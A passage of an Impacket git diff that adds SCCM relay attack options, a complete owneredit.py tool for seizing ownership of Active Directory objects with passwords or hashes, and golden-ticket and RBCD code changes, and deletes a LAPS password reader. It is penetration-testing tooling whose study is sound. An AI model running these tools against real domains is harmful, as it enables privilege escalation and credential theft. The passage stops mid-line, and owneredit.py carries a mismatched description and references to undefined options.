number of seconds to sleep after the client registration before requesting secret policies') + + sccmdpoptions = parser.add_argument_group("SCCM Distribution Point attack options") + sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \'http:///sms_dp_smspkg$/Datalib\'') + sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx') + sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing') + try: options = parser.parse_args() except Exception as e: @@ -410,6 +428,18 @@ def stop_servers(threads): if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) + + # Ensuring the correct target is set when performing SCCM policies attack + if options.sccm_policies is True and not options.target.rstrip('/').endswith("/ccm_system_windowsauth/request"): + logging.error("When performing SCCM policies attack, the Management Point authenticated device registration endpoint should be provided as target") + logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request") + sys.exit(1) + + # Ensuring the correct target is set when performing SCCM DP attack + if options.sccm_dp is True and not options.target.rstrip('/').endswith("/sms_dp_smspkg$/Datalib"): + logging.error("When performing SCCM DP attack, the Distribution Point Datalib endpoint should be provided as target") + logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib") + sys.exit(1) # Init the example's logger theme logger.init(options.ts) @@ -496,6 +526,12 @@ def stop_servers(threads): c = start_servers(options, threads) + # Log multirelay flag status + if options.no_multirelay: + logging.info("Multirelay disabled") + else: + logging.info("Multirelay enabled") + print("") logging.info("Servers started, waiting for connections") try: diff --git a/examples/owneredit.py b/examples/owneredit.py new file mode 100644 index 0000000000..fc66733f58 --- /dev/null +++ b/examples/owneredit.py @@ -0,0 +1,519 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) + +import argparse +import logging +import sys +import traceback + +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control + + +# Universal SIDs +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', + 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\\Remote Management Users', +} + +class OwnerEdit(object): + def __init__(self, ldap_server, ldap_session, args): + super(OwnerEdit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.new_owner_sAMAccountName = args.new_owner_sAMAccountName + self.new_owner_SID = args.new_owner_SID + self.new_owner_DN = args.new_owner_DN + + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor) + + # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't + if self.new_owner_SID is None and self.new_owner_sAMAccountName is not None or self.new_owner_DN is not None: + _lookedup_owner = "" + if self.new_owner_sAMAccountName is not None: + _lookedup_owner = self.new_owner_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) + elif self.new_owner_DN is not None: + _lookedup_owner = self.new_owner_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) + try: + self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + logging.debug("Found new owner SID: %s" % self.new_owner_SID) + except IndexError: + logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner) + exit(1) + + def read(self): + current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical() + logging.info("Current owner information below") + logging.info("- SID: %s" % current_owner_SID) + logging.info("- sAMAccountName: %s" % self.resolveSID(current_owner_SID)) + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName']) + current_owner_distinguished_name = self.ldap_session.entries[0] + logging.info("- distinguishedName: %s" % current_owner_distinguished_name['distinguishedName']) + + def write(self): + logging.debug('Attempt to modify the OwnerSid') + _new_owner_SID = ldaptypes.LDAP_SID() + _new_owner_SID.fromCanonical(self.new_owner_SID) + # lib doesn't set this, but I don't known if it's needed + # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority']) + self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID + + self.ldap_session.modify( + self.target_principal.entry_dn, + {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [ + self.target_principal_security_descriptor.getData() + ])}, + controls=security_descriptor_control(sdflags=0x01)) + if self.ldap_session.result['result'] == 0: + logging.info('OwnerSid modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + # Attempts to retrieve the Security Descriptor of the specified target + def search_target_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for OwnerSid + controls = security_descriptor_control(sdflags=0x01) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + exit(0) + + # Attempts to resolve a SID and return the corresponding samaccountname + def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs + if sid in WELL_KNOWN_SIDS.keys() or False: + return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") + new_owner_parser.add_argument("-new-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + new_owner_parser.add_argument("-new-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + new_owner_parser.add_argument("-new-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write'], nargs='?', default='read', help='Action to operate on the owner attribute') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.now(datetime.timezone.utc) + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.new_owner_sAMAccountName is None and args.new_owner_SID is None and args.new_owner_DN is None: + logging.critical('-owner, -owner-sid, or -owner-dn should be specified when using -action write') + sys.exit(1) + + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + owneredit = OwnerEdit(ldap_server, ldap_session, args) + if args.action == 'read': + owneredit.read() + elif args.action == 'write': + owneredit.read() + owneredit.write() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/ping.py b/examples/ping.py index 0e90245acc..9c9b991b0c 100755 --- a/examples/ping.py +++ b/examples/ping.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/ping6.py b/examples/ping6.py index 5f3f591917..37389c7208 100755 --- a/examples/ping6.py +++ b/examples/ping6.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/psexec.py b/examples/psexec.py index b96eee5e9a..8bcd5c5fa9 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/raiseChild.py b/examples/raiseChild.py index 0b6345db6b..abab970b96 100755 --- a/examples/raiseChild.py +++ b/examples/raiseChild.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -905,7 +907,7 @@ def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0] # Let's extend the ticket's validity a lil bit - tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10) + tenYearsFromNow = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10) encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow) encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow) #print encTicketPart.prettyPrint() diff --git a/examples/rbcd.py b/examples/rbcd.py index 93bfa470b3..0db8be17fd 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -140,7 +142,7 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -371,8 +373,10 @@ def get_allowed_to_act(self): logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() - SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] - logging.info(' %-10s (%s)' % (SamAccountName, SID)) + SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical()) + if SidInfos: + SamAccountName = SidInfos[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: diff --git a/examples/rdp_check.py b/examples/rdp_check.py index 227ad2eade..417de92330 100755 --- a/examples/rdp_check.py +++ b/examples/rdp_check.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/readLAPS.py b/examples/readLAPS.py deleted file mode 100644 index f825d3218f..0000000000 --- a/examples/readLAPS.py +++ /dev/null @@ -1,275 +0,0 @@ -#!/usr/bin/env python -# Impacket - Collection of Python classes for working with network protocols. -# -# Copyright (C) 2024 Fortra. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# This script will try to read the LAPS password in the current domain of specified user. -# -# -# Author: -# Fowz Masood (https://www.linkedin.com/in/f-masood/) -# Please let me know of any improvements / suggestions or bugs. -# Attributes searched in DC are: ms-Mcs-AdmPwd (password value) and ms-Mcs-AdmPwdExpirationTime (password expiry time) -# -# Reference for: -# LDAP -# - -from __future__ import division -from __future__ import print_function -from __future__ import unicode_literals -import argparse -import logging -import sys -import dns.resolver -from datetime import datetime - -from impacket import version -from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE -from impacket.examples import logger -from impacket.examples.utils import parse_credentials -from impacket.ldap import ldap, ldapasn1 -from impacket.smbconnection import SMBConnection, SessionError - - -class readLAPS: - def __init__(self, username, password, domain, cmdLineOptions): - self.options = cmdLineOptions - self.__username = username - self.__password = password - self.__domain = domain - self.__target = None - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = cmdLineOptions.aesKey - self.__doKerberos = cmdLineOptions.k - #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost - self.__kdcIP = cmdLineOptions.dc_ip - self.__kdcHost = cmdLineOptions.dc_host - self.__requestUser = cmdLineOptions.user - self.__targetComputer=cmdLineOptions.targetComputer - - if cmdLineOptions.hashes is not None: - self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') - - # Create the baseDN - domainParts = self.__domain.split('.') - self.baseDN = '' - for i in domainParts: - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] - - # Let's calculate the header and format - self.__header = ["SAM AcctName", "DNS Hostname", "Password", "Password Expiration (EPOCH:UnixTimeStamp)"] - # Since we won't process all rows at once, this will be fixed lengths - self.__colLen = [15, 35, 30, 40] - self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) - - - - def getMachineName(self, target): - try: - s = SMBConnection(target, target) - s.login('', '') - except OSError as e: - if str(e).find('timed out') > 0: - raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' - 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') - else: - raise - except SessionError as e: - if str(e).find('STATUS_NOT_SUPPORTED') > 0: - raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' - 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') - else: - raise - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % target) - else: - s.logoff() - return s.getServerName() - - @staticmethod - def getUnixTime(t): - t -= 116444736000000000 - t /= 10000000 - return t - - def processRecord(self, item): - if isinstance(item, ldapasn1.SearchResultEntry) is not True: - return - sAMAccountName = '' - dNSHostName = '' - password = '' - passwordExpiration = '' - unixTS = '' - try: - for attribute in item['attributes']: - #print (str(attribute)) - for debugging - - if str(attribute['type']) == 'sAMAccountName': - if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True: - # sAMAccountName - sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') - if str(attribute['type']) == 'dNSHostName': - if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: - # dNSHostName - dNSHostName = attribute['vals'][0].asOctets().decode('utf-8') - - if str(attribute['type']) == 'ms-Mcs-AdmPwd': - # getPassword - password = attribute['vals'][0].asOctets().decode('utf-8') - - if str(attribute['type']) == 'ms-Mcs-AdmPwdExpirationTime': - if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: - # passwordExpiration - passwordExpiration = attribute['vals'][0].asOctets().decode('utf-8') - unixTS = convertedTime = datetime.fromtimestamp((int(str(passwordExpiration))/10000000) - 11644473600).strftime("%d-%B-%Y") - print((self.__outputFormat.format(*[sAMAccountName,dNSHostName,password,passwordExpiration+' : '+unixTS]))) - - - - except Exception as e: - logging.debug("Exception", exc_info=True) - logging.error('Skipping item, cannot process due to error %s' % str(e)) - pass - - def run(self): - if self.__kdcHost is not None: - self.__target = self.__kdcHost - else: - if self.__kdcIP is not None: - self.__target = self.__kdcIP - else: - self.__target = self.__domain - - if self.__doKerberos: - logging.info('Getting machine hostname') - self.__target = self.getMachineName(self.__target) - - - # Connect to LDAP - try: - ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, kdcHost=self.__kdcIP) - except ldap.LDAPSessionError as e: - if str(e).find('strongerAuthRequired') >= 0: - # We need to try SSL - ldapConnection = 